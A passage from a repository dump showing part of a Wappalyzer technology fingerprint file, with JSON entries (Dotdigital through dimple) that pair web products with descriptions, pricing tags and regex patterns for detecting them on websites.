\"dmtrackingobjectname\": \"\\\\;confidence:75\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"js/_dmptv([\\\\d.]+)\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dotdigital.com\"\n  },\n  \"Dotdigital Chat\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Dotdigital Chat is a smart, customisable widget that makes it easy for shoppers to communicate in real-time with members of your team.\",\n    \"icon\": \"Dotdigital.svg\",\n    \"implies\": [\n      \"Dotdigital\"\n    ],\n    \"js\": {\n      \"_ddgChatConfig.urlBase\": \"\\\\.dotdigital\\\\.com\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dotdigital.com\"\n  },\n  \"Doteasy\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Doteasy is a web hosting company that provides web hosting services, domain registration, and other related services for businesses and individuals. The company was founded in 2000 and is based in Vancouver, Canada.\",\n    \"icon\": \"Doteasy.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"website\": \"https://www.doteasy.com\"\n  },\n  \"Doteasy Website Builder\": {\n    \"cats\": [\n      51\n    ],\n    \"description\": \"Doteasy Website Builder is a tool provided by Doteasy, a web hosting company that enables users to create and personalise their own websites without necessitating any technical knowledge or expertise in website design.\",\n    \"icon\": \"Doteasy.svg\",\n    \"implies\": [\n      \"Doteasy\"\n    ],\n    \"js\": {\n      \"fsData.fs\": \"\\\\.dotezcdn\\\\.com\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.doteasy.com/website-builder/\"\n  },\n  \"Dotser\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Dotser is a web software development company specialising in ecommerce and cloud-based business solutions.\",\n    \"icon\": \"Dotser.svg\",\n    \"implies\": [\n      \"PHP\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Dotser\\\\sCommerce\\\\s((?:\\\\d+\\\\.)+\\\\d+)/\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.dotser.ie\"\n  },\n  \"Dotter\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Dotter is a platform offering solutions for making media and websites shoppable.\",\n    \"icon\": \"Dotter.svg\",\n    \"js\": {\n      \"Dotter\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.dotter\\\\.me\"\n    ],\n    \"website\": \"https://www.dotter.me\"\n  },\n  \"DoubleClick Ad Exchange (AdX)\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"DoubleClick Ad Exchange is a real-time marketplace to buy and sell display advertising space.\",\n    \"icon\": \"DoubleClick.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"googlesyndication\\\\.com/pagead/show_ads\\\\.js\",\n      \"tpc\\\\.googlesyndication\\\\.com/safeframe\",\n      \"googlesyndication\\\\.com.*abg\\\\.js\"\n    ],\n    \"website\": \"https://www.doubleclickbygoogle.com/solutions/digital-marketing/ad-exchange/\"\n  },\n  \"DoubleClick Campaign Manager (DCM)\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"DoubleClick.svg\",\n    \"scriptSrc\": [\n      \"2mdn\\\\.net\"\n    ],\n    \"website\": \"https://www.doubleclickbygoogle.com/solutions/digital-marketing/campaign-manager/\"\n  },\n  \"DoubleClick Floodlight\": {\n    \"cats\": [\n      36\n    ],\n    \"icon\": \"DoubleClick.svg\",\n    \"scriptSrc\": [\n      \"https?://fls\\\\.doubleclick\\\\.net\"\n    ],\n    \"website\": \"https://support.google.com/ds/answer/6029713?hl=en\"\n  },\n  \"DoubleClick for Publishers (DFP)\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"DoubleClick for Publishers (DFP) is a hosted ad serving platform that streamlines your ad management.\",\n    \"icon\": \"DoubleClick.svg\",\n    \"pricing\": [\n      \"freemium\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"googletagservices\\\\.com/tag/js/gpt(?:_mobile)?\\\\.js\"\n    ],\n    \"website\": \"https://www.google.com/dfp\"\n  },\n  \"DoubleVerify\": {\n    \"cats\": [\n      36,\n      10\n    ],\n    \"description\": \"DoubleVerify is a software platform for digital media measurement, data, and analytics.\",\n    \"dom\": [\n      \"link[href*='.doubleverify.com']\"\n    ],\n    \"icon\": \"DoubleVerify.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://doubleverify.com\"\n  },\n  \"Dover\": {\n    \"cats\": [\n      101\n    ],\n    \"description\": \"Dover is a platform that streamlines recruiting by identifying and scheduling qualified candidates.\",\n    \"icon\": \"Dover.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scripts\": [\n      \"app\\\\.dover\\\\.io\"\n    ],\n    \"website\": \"https://www.dover.com\"\n  },\n  \"Dovetale\": {\n    \"cats\": [\n      71\n    ],\n    \"description\": \"Dovetale (Acquired by Shopify) helps e-commerce stores recruit, manage, & grow their sales with communities of people who love their products.\",\n    \"icon\": \"Dovetale.png\",\n    \"js\": {\n      \"Dovetale\": \"\"\n    },\n    \"scriptSrc\": [\n      \"dttrk\\\\.com\"\n    ],\n    \"website\": \"https://dovetale.com/\"\n  },\n  \"Download Monitor\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Download Monitor is a plugin for selling, uploading and managing downloads, tracking downloads and displaying links.\",\n    \"dom\": [\n      \"link[href*='/wp-content/plugins/download-monitor/']\"\n    ],\n    \"icon\": \"Download Monitor.svg\",\n    \"js\": {\n      \"DLM_XHR_Download\": \"\",\n      \"dlmXHR.prevent_duplicates\": \"\"\n    },\n    \"meta\": {\n      \"dlm-version\": \"^([\\\\d\\\\.]+)$\\\\;version:\\\\1\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"onetime\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://www.download-monitor.com\"\n  },\n  \"Doxygen\": {\n    \"cats\": [\n      4\n    ],\n    \"cpe\": \"cpe:2.3:a:doxygen:doxygen:*:*:*:*:*:*:*:*\",\n    \"description\": \"Doxygen is a documentation generator, a tool for writing software reference documentation.\",\n    \"html\": [\n      \"(?:<!-- Generated by Doxygen ([\\\\d.]+)|<link[^>]+doxygen\\\\.css)\\\\;version:\\\\1\"\n    ],\n    \"icon\": \"Doxygen.png\",\n    \"meta\": {\n      \"generator\": \"Doxygen ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.doxygen.nl/\"\n  },\n  \"Draft.js\": {\n    \"cats\": [\n      20\n    ],\n    \"description\": \"Draft.js is a JavaScript rich text editor framework, built for React.\",\n    \"icon\": \"draftjs.svg\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"draft-js(@|/)([\\\\d.]+)\\\\;version:\\\\2\"\n    ],\n    \"website\": \"https://draftjs.org/\"\n  },\n  \"Draftpress HFCM\": {\n    \"cats\": [\n      87\n    ],\n    \"description\": \"Header Footer Code Manager by Draftpress is a easy interface to add snippets to the header or footer or above or below the content of your page.\",\n    \"html\": [\n      \"<!--[^>]*HFCM\\\\sby\\\\s99\\\\sRobots\"\n    ],\n    \"icon\": \"Draftpress.svg\",\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"website\": \"https://draftpress.com/products/header-footer-code-manager-pro/\"\n  },\n  \"Dragon\": {\n    \"cats\": [\n      27\n    ],\n    \"description\": \"Dragon is a general-purpose programming language.\",\n    \"headers\": {\n      \"X-Powered-By\": \"Dragon Native ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"icon\": \"Dragon.png\",\n    \"implies\": [\n      \"Apache HTTP Server\"\n    ],\n    \"url\": [\n      \"^.*(?:\\\\.dgn)$\"\n    ],\n    \"website\": \"https://dragon-lang.org\"\n  },\n  \"Drapr\": {\n    \"cats\": [\n      76\n    ],\n    \"description\": \"Drapr is an ecommerce startup and online application based on technology that enables customers to quickly create 3D avatars and virtually try on clothing.\",\n    \"icon\": \"Drapr.svg\",\n    \"js\": {\n      \"drapr_data\": \"\",\n      \"drapr_deferLoading\": \"\"\n    },\n    \"requiresCategory\": [\n      6\n    ],\n    \"scriptSrc\": [\n      \"draprpubsubtest\\\\.firebaseapp\\\\.com/\"\n    ],\n    \"website\": \"https://www.drapr.com\"\n  },\n  \"Drata\": {\n    \"cats\": [\n      16\n    ],\n    \"description\": \"Drata is an automated site compliance system designed to streamline and manage security and privacy requirements.\",\n    \"icon\": \"Drata.svg\",\n    \"js\": {\n      \"webpackChunkdrata_web\": \"\"\n    },\n    \"meta\": {\n      \"author\": \"Drata Inc.\",\n      \"copyright\": \"Drata Inc.\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://drata.com\"\n  },\n  \"DreamApply\": {\n    \"cats\": [\n      101,\n      19\n    ],\n    \"description\": \"DreamApply is a specialised student application management system designed with and for education institutions.\",\n    \"icon\": \"DreamApply.png\",\n    \"implies\": [\n      \"Linkedin Sign-in\",\n      \"Facebook Login\",\n      \"Google Sign-in\"\n    ],\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"app\\\\.cdn\\\\.dreamapply\\\\.com/\"\n    ],\n    \"website\": \"https://dreamapply.com\"\n  },\n  \"DreamHost\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"DreamHost is a Los Angeles-based web hosting provider and domain name registrar.\",\n    \"dns\": {\n      \"NS\": \"ns\\\\d+\\\\.dreamhost\\\\.com\",\n      \"SOA\": \"ns\\\\d+\\\\.dreamhost\\\\.com\"\n    },\n    \"icon\": \"DreamHost.svg\",\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"website\": \"https://www.dreamhost.com\"\n  },\n  \"DreamWeaver\": {\n    \"cats\": [\n      20\n    ],\n    \"cpe\": \"cpe:2.3:a:adobe:dreamweaver:*:*:*:*:*:*:*:*\",\n    \"description\": \"Dreamweaver is a development tool for creating, publishing, and managing websites and mobile content.\",\n    \"html\": [\n      \"<!--[^>]*(?:InstanceBeginEditable|Dreamweaver([^>]+)target|DWLayoutDefaultTable)\\\\;version:\\\\1\",\n      \"<!-- #BeginTemplate\\\\s\\\"[\\\\d_\\\\w/]+\\\\.dwt\"\n    ],\n    \"icon\": \"DreamWeaver.png\",\n    \"js\": {\n      \"MM_preloadImages\": \"\",\n      \"MM_showHideLayers\": \"\",\n      \"MM_showMenu\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Adobe dreamweaver$\"\n    },\n    \"website\": \"https://www.adobe.com/products/dreamweaver.html\"\n  },\n  \"Dreamdata\": {\n    \"cats\": [\n      32,\n      10\n    ],\n    \"description\": \"Dreamdata is a B2B revenue attribution platform.\",\n    \"dom\": [\n      \"link[href*='.bizible.com']\"\n    ],\n    \"icon\": \"Dreamdata.svg\",\n    \"js\": {\n      \"BizTrackingA\": \"\",\n      \"Bizible\": \"\"\n    },\n    \"pricing\": [\n      \"freemium\",\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.bizible\\\\.com/\"\n    ],\n    \"website\": \"https://dreamdata.io\"\n  },\n  \"Drift\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Drift is a conversational marketing platform.\",\n    \"icon\": \"Drift.svg\",\n    \"js\": {\n      \"drift\": \"\",\n      \"driftt\": \"\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"mid\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.drift.com/\"\n  },\n  \"Drip\": {\n    \"cats\": [\n      32\n    ],\n    \"description\": \"Drip is a marketing automation platform built for ecommerce.\",\n    \"icon\": \"Drip.svg\",\n    \"pricing\": [\n      \"payg\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.getdrip\\\\.com/\"\n    ],\n    \"website\": \"https://www.drip.com\"\n  },\n  \"Drop A Hint\": {\n    \"cats\": [\n      100\n    ],\n    \"description\": \"Drop A Hint is an Shopify app which help share hints via email, SMS, WhatsApp and messengers.\",\n    \"icon\": \"Drop A Hint.svg\",\n    \"js\": {\n      \"DropAHint.BaseURL\": \"dropahint\\\\.love/\",\n      \"dropAHintTypeProduct\": \"\"\n    },\n    \"pricing\": [\n      \"payg\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"requires\": [\n      \"Shopify\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://apps.shopify.com/drop-a-hint-v2\"\n  },\n  \"DropInBlog\": {\n    \"cats\": [\n      11\n    ],\n    \"description\": \"DropInBlog is a remotely hosted, cloud based platform that is designed to embed a blog into your html site.\",\n    \"dom\": [\n      \"link[href*='.dropinblog.com/']\"\n    ],\n    \"icon\": \"DropInBlog.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.dropinblog\\\\.com/\"\n    ],\n    \"website\": \"https://dropinblog.com\"\n  },\n  \"Dropbox\": {\n    \"cats\": [\n      95\n    ],\n    \"cpe\": \"cpe:2.3:a:dropbox:dropbox:*:*:*:*:*:*:*:*\",\n    \"dns\": {\n      \"TXT\": \"dropbox-domain-verification\"\n    },\n    \"icon\": \"Dropbox.svg\",\n    \"website\": \"https://www.dropbox.com\"\n  },\n  \"Dropzone\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Dropzone is a JavaScript library that turns any HTML element into a dropzone.\",\n    \"icon\": \"Dropzone.svg\",\n    \"js\": {\n      \"Dropzone\": \"\",\n      \"Dropzone.version\": \"([\\\\d\\\\.]+)\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"pricing\": [\n      \"freemium\",\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.dropzone.dev\"\n  },\n  \"Droxit\": {\n    \"cats\": [\n      68\n    ],\n    \"cookies\": {\n      \"droxit_a11y_state\": \"\"\n    },\n    \"description\": \"Droxit is an automated web accessibility solution.\",\n    \"icon\": \"Droxit.svg\",\n    \"scriptSrc\": [\n      \"/droxit-a11y/js/activator\\\\.js\"\n    ],\n    \"website\": \"https://www.droxit.com\"\n  },\n  \"Droz Bot\": {\n    \"cats\": [\n      52\n    ],\n    \"description\": \"Droz Bot is a multi-channel, customisable chatbot designed to help brands provide customer service across commonly used social apps.\",\n    \"icon\": \"Droz.svg\",\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"chat-app\\\\.meudroz\\\\.com/\"\n    ],\n    \"website\": \"https://meudroz.com/droz-bot/\"\n  },\n  \"Drubbit\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Drubbit is an ecommerce platform with a Content Management System (CMS) for creating product pages, managing checkout processes, facilitating payments, and handling shipping.\",\n    \"icon\": \"Drubbit.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"MySQL\"\n    ],\n    \"meta\": {\n      \"generator\": \"^Drubbit Commerce$\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://drubbit.com\"\n  },\n  \"Drupal\": {\n    \"cats\": [\n      1\n    ],\n    \"cpe\": \"cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*\",\n    \"description\": \"Drupal is a free and open-source web content management framework.\",\n    \"headers\": {\n      \"Expires\": \"19 Nov 1978\",\n      \"X-Drupal-Cache\": \"\",\n      \"X-Generator\": \"^Drupal(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"html\": [\n      \"<(?:link|style)[^>]+\\\"/sites/(?:default|all)/(?:themes|modules)/\"\n    ],\n    \"icon\": \"Drupal.svg\",\n    \"implies\": [\n      \"PHP\"\n    ],\n    \"js\": {\n      \"Drupal\": \"\"\n    },\n    \"meta\": {\n      \"generator\": \"^Drupal(?:\\\\s([\\\\d.]+))?\\\\;version:\\\\1\"\n    },\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"drupal\\\\.js\"\n    ],\n    \"scripts\": [\n      \"drupal_internal__nid\"\n    ],\n    \"website\": \"https://www.drupal.org/\"\n  },\n  \"Drupal Commerce\": {\n    \"cats\": [\n      6\n    ],\n    \"cpe\": \"cpe:2.3:a:commerceguys:commerce:*:*:*:*:*:*:*:*\",\n    \"description\": \"Drupal Commerce is open-source ecommerce software that augments the content management system Drupal.\",\n    \"dom\": [\n      \"aside#cart-offcanvas, form.commerce-order-item-add-to-cart-form,form.commerce-add-to-cart\"\n    ],\n    \"html\": [\n      \"<[^>]+(?:id=\\\"block[_-]commerce[_-]cart[_-]cart|class=\\\"commerce[_-]product[_-]field)\"\n    ],\n    \"icon\": \"Drupal Commerce.svg\",\n    \"implies\": [\n      \"Drupal\"\n    ],\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"/modules/(?:contrib/)?commerce/js/conditions\\\\.js\\\\;confidence:50\",\n      \"/profiles/commerce_kickstart/modules/contrib/commerce/modules/checkout/commerce_checkout\\\\.js\\\\;confidence:50\",\n      \"/sites/(?:all|default)/modules/(?:contrib/)?commerce/modules/checkout/commerce_checkout\\\\.js\\\\;confidence:50\"\n    ],\n    \"website\": \"https://drupalcommerce.org\"\n  },\n  \"Drupal Multisite\": {\n    \"cats\": [\n      88\n    ],\n    \"description\": \"Drupal Multisite enables separate, independent sites to be served from a single codebase.\",\n    \"dom\": {\n      \"figure[style*='/sites/']\": {\n        \"attributes\": {\n          \"style\": \"/sites/(?!(?:default|all)/).*/(?:files|themes|modules)/\"\n        }\n      },\n      \"img[src*='/sites/'], img[srcset*='/sites/'], source[srcset*='/sites/']\": {\n        \"attributes\": {\n          \"src\": \"/sites/(?!(?:default|all)/).*/(?:files|themes|modules)/\",\n          \"srcset\": \"/sites/(?!(?:default|all)/).*/(?:files|themes|modules)/\"\n        }\n      },\n      \"style\": {\n        \"text\": \"/sites/(?!(?:default|all)/).*/(?:files|themes|modules)/\"\n      }\n    },\n    \"icon\": \"Drupal.svg\",\n    \"oss\": true,\n    \"requires\": [\n      \"Drupal\"\n    ],\n    \"scriptSrc\": [\n      \"/sites/(?!(?:default|all)/).*/(?:files|themes|modules)/\"\n    ],\n    \"website\": \"https://www.drupal.org/docs/multisite-drupal\"\n  },\n  \"Duda\": {\n    \"cats\": [\n      1,\n      51\n    ],\n    \"description\": \"Duda is a user-friendly website builder and CMS platform that enables businesses and individuals to create responsive, mobile-friendly websites without extensive coding knowledge.\",\n    \"icon\": \"Duda.svg\",\n    \"js\": {\n      \"SystemID\": \"^.*DIRECT.*$\",\n      \"d_version\": \"^(.*)$\\\\;version:\\\\1\\\\;confidence:0\"\n    },\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"dd-cdn\\\\.multiscreensite\\\\.com/\"\n    ],\n    \"website\": \"https://www.duda.co\"\n  },\n  \"Duel\": {\n    \"cats\": [\n      71\n    ],\n    \"cookies\": {\n      \"_duelcsrf\": \"\"\n    },\n    \"description\": \"Duel is a customer advocacy marketing platform.\",\n    \"icon\": \"Duel.svg\",\n    \"implies\": [\n      \"Node.js\",\n      \"Angular\",\n      \"MongoDB\"\n    ],\n    \"js\": {\n      \"DUEL.apiURL\": \"api\\\\.duel\\\\.me\"\n    },\n    \"pricing\": [\n      \"poa\",\n      \"high\",\n      \"recurring\",\n      \"onetime\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.duel\\\\.me/\"\n    ],\n    \"website\": \"https://www.duel.tech\"\n  },\n  \"Dukaan\": {\n    \"cats\": [\n      6\n    ],\n    \"description\": \"Dukaan is a hosted ecommerce solution made in India.\",\n    \"icon\": \"Dukaan.svg\",\n    \"meta\": {\n      \"apple-mobile-web-app-title\": \"^MyDukaan$\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"apps\\\\.mydukaan\\\\.io/\"\n    ],\n    \"website\": \"https://mydukaan.io\"\n  },\n  \"Duopana\": {\n    \"cats\": [\n      1,\n      11,\n      51\n    ],\n    \"description\": \"Duopana is a platform for creating online communities, blogs and managing collaborative content.\",\n    \"icon\": \"Duopana.svg\",\n    \"pricing\": [\n      \"low\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"\\\\.beracode\\\\.com/\"\n    ],\n    \"website\": \"https://duopana.com\"\n  },\n  \"Dweet\": {\n    \"cats\": [\n      63\n    ],\n    \"description\": \"Dweet is a platform enabling data sharing across Internet of Things(IoT).\",\n    \"icon\": \"Dweet.svg\",\n    \"js\": {\n      \"dweetCallback\": \"\",\n      \"dweet_script_loader\": \"\",\n      \"dweetio.dweet\": \"\",\n      \"dweetioThing\": \"\"\n    },\n    \"saas\": true,\n    \"website\": \"https://dweet.io\"\n  },\n  \"DynAd\": {\n    \"cats\": [\n      36\n    ],\n    \"description\": \"DynAd is a service for advertising and dynamic content optimisation.\",\n    \"dom\": [\n      \"link[href*='t.dynad.net/']\"\n    ],\n    \"icon\": \"DynAd.svg\",\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"t\\\\.dynad\\\\.net/\"\n    ],\n    \"website\": \"https://dynad.net\"\n  },\n  \"Dynamic Conditions\": {\n    \"cats\": [\n      5,\n      87\n    ],\n    \"description\": \"Dynamic Conditions of Widgets is a cutting-edge WordPress plugin that extends the functionality of your website using conditional logic.\",\n    \"oss\": true,\n    \"requires\": [\n      \"WordPress\"\n    ],\n    \"scriptSrc\": [\n      \"dynamic-conditions-public\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://wordpress.org/plugins/dynamicconditions\"\n  },\n  \"Dynamic Yield\": {\n    \"cats\": [\n      74,\n      76\n    ],\n    \"cookies\": {\n      \"_dy_geo\": \"\",\n      \"_dy_ses_load_seq\": \"\"\n    },\n    \"description\": \"Dynamic Yield is a provider of automated conversion optimisation tools for marketers and retailers.\",\n    \"icon\": \"DynamicYield.svg\",\n    \"js\": {\n      \"DY.AdDetection\": \"\",\n      \"DYExps.sectionConfig\": \"\",\n      \"_dy_memStore\": \"\"\n    },\n    \"pricing\": [\n      \"poa\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn(?:-eu)?\\\\.dynamicyield\\\\.\\\\w+/\"\n    ],\n    \"website\": \"https://www.dynamicyield.com\"\n  },\n  \"Dynamics.js\": {\n    \"cats\": [\n      59\n    ],\n    \"description\": \"Javascript library to create physics-related animations\",\n    \"icon\": \"Dynamics.js.png\",\n    \"oss\": true,\n    \"scriptSrc\": [\n      \"dynamics(?:\\\\.min)?\\\\.js(?:\\\\?v(?:er)?=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dynamicsjs.com\"\n  },\n  \"Dynamicweb\": {\n    \"cats\": [\n      1,\n      6\n    ],\n    \"cookies\": {\n      \"Dynamicweb\": \"\"\n    },\n    \"description\": \"Dynamicweb is a all-in-one platform for content management, ecommerce, digital marketing​, product information management (PIM) and integration.\",\n    \"icon\": \"Dynamicweb.svg\",\n    \"implies\": [\n      \"Microsoft ASP.NET\"\n    ],\n    \"meta\": {\n      \"generator\": \"Dynamicweb ([\\\\d.]+)\\\\;version:\\\\1\"\n    },\n    \"website\": \"https://www.dynamicweb.dk\"\n  },\n  \"Dynatrace\": {\n    \"cats\": [\n      10\n    ],\n    \"cookies\": {\n      \"dtCookie1\": \"\"\n    },\n    \"description\": \"Dynatrace is a technology company that produces a software intelligence platform based on artificial intelligence to monitor and optimise application performance and development, IT infrastructure, and user experience for businesses and government agencies throughout the world.\",\n    \"icon\": \"Dynatrace.svg\",\n    \"js\": {\n      \"dtrum\": \"\"\n    },\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://www.dynatrace.com\"\n  },\n  \"Dynatrace RUM\": {\n    \"cats\": [\n      78\n    ],\n    \"description\": \"Dynatrace RUM is a AI powered, full stack, automated real user monutoring platform built by Dynatrace.\",\n    \"icon\": \"Dynatrace.svg\",\n    \"implies\": [\n      \"Dynatrace\"\n    ],\n    \"pricing\": [\n      \"recurring\",\n      \"low\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"/ruxitagentjs_(?:.+)_(?:.+)\\\\.js\"\n    ],\n    \"website\": \"https://www.dynatrace.com/platform/real-user-monitoring\"\n  },\n  \"Dyte\": {\n    \"cats\": [\n      103\n    ],\n    \"css\": [\n      \"\\\\.dyte-client-selfVideo\"\n    ],\n    \"description\": \"Dyte is a developer-friendly, real-time audio and video communication software development kit (SDK).\",\n    \"icon\": \"Dyte.svg\",\n    \"implies\": [\n      \"WebRTC\"\n    ],\n    \"js\": {\n      \"triggerDyteRecording\": \"\"\n    },\n    \"pricing\": [\n      \"payg\"\n    ],\n    \"saas\": true,\n    \"website\": \"https://dyte.io\",\n    \"xhr\": [\n      \"cdn\\\\.dyte\\\\.in/\"\n    ]\n  },\n  \"daisyUI\": {\n    \"cats\": [\n      66\n    ],\n    \"description\": \"daisyUI is a customisable Tailwind CSS component library that prevents verbose markup in frontend applications. With a focus on customising and creating themes for user interfaces, daisyUI uses pure CSS and Tailwind utility classes, allowing developers to write clean HTML.\",\n    \"dom\": {\n      \"link[href*='npm/daisyui']\": {\n        \"attributes\": {\n          \"href\": \"/npm/daisyui@([\\\\d\\\\.]+)/dist/\\\\;version:\\\\1\"\n        }\n      }\n    },\n    \"icon\": \"daisyUI.svg\",\n    \"implies\": [\n      \"Tailwind CSS\"\n    ],\n    \"oss\": true,\n    \"website\": \"https://daisyui.com\"\n  },\n  \"db-ip\": {\n    \"cats\": [\n      79\n    ],\n    \"description\": \"dbip is a geolocation API and database.\",\n    \"icon\": \"db-ip.svg\",\n    \"js\": {\n      \"ENV.dbip\": \"\"\n    },\n    \"pricing\": [\n      \"mid\",\n      \"recurring\"\n    ],\n    \"saas\": true,\n    \"scriptSrc\": [\n      \"cdn\\\\.db-ip\\\\.com\"\n    ],\n    \"website\": \"https://db-ip.com/\",\n    \"xhr\": [\n      \"api\\\\.db-ip\\\\.com\"\n    ]\n  },\n  \"dc.js\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"A multi-dimensional charting library built to work natively with crossfilter and rendered using d3.js\",\n    \"icon\": \"dc.js.png\",\n    \"js\": {\n      \"dcAPIKey\": \"\"\n    },\n    \"scriptSrc\": [\n      \"(?:((?:\\\\d+\\\\.)+\\\\d+)\\\\/(?:dc\\\\/)?)?dc(?:\\\\.leaflet)?\\\\.js\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://dc-js.github.io/dc.js/\"\n  },\n  \"decimal.js\": {\n    \"cats\": [\n      59\n    ],\n    \"icon\": \"decimal.js.png\",\n    \"js\": {\n      \"Decimal.ROUND_HALF_FLOOR\": \"\"\n    },\n    \"scriptSrc\": [\n      \"decimal[.-]([\\\\d.]*\\\\d+)(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"/([\\\\d.]*\\\\d+)/decimal(?:\\\\.min)?\\\\.js\\\\;version:\\\\1\",\n      \"decimal(?:\\\\.min)?\\\\.js(?:\\\\?ver(?:sion)?=([\\\\d.]*\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"https://mikemcl.github.io/decimal.js/\"\n  },\n  \"deepMiner\": {\n    \"cats\": [\n      56\n    ],\n    \"icon\": \"deepminer.png\",\n    \"js\": {\n      \"deepMiner\": \"\"\n    },\n    \"scriptSrc\": [\n      \"deepMiner\\\\.js\"\n    ],\n    \"website\": \"https://github.com/deepwn/deepMiner\"\n  },\n  \"dimple\": {\n    \"cats\": [\n      25,\n      59\n    ],\n    \"description\": \"dimple.js is a powerful and flexible open-source charting API for d3 letting you quickly and easily create and combine bar, line, area and scatter charts.\",\n    \"oss\": true,\n    \"requires\": [\n      \"D3\"\n    ],\n    \"scriptSrc\": [\n      \"dimple(?:\\\\/lib\\\\/[\\\\w\\\\.]+)?(?:\\\\/theme\\\\/js\\\\/[\\\\w\\\\.-]+)?\\\\.js(?:\\\\?ver=((?:\\\\d+\\\\.)+\\\\d+))?\\\\;version:\\\\1\"\n    ],\n    \"website\": \"http://dimplejs.org/\"\n  }\n}\n"
  },
  {
    "path": "boefjes/boefjes/plugins/kat_wappalyzer/data/technologies/e.json",
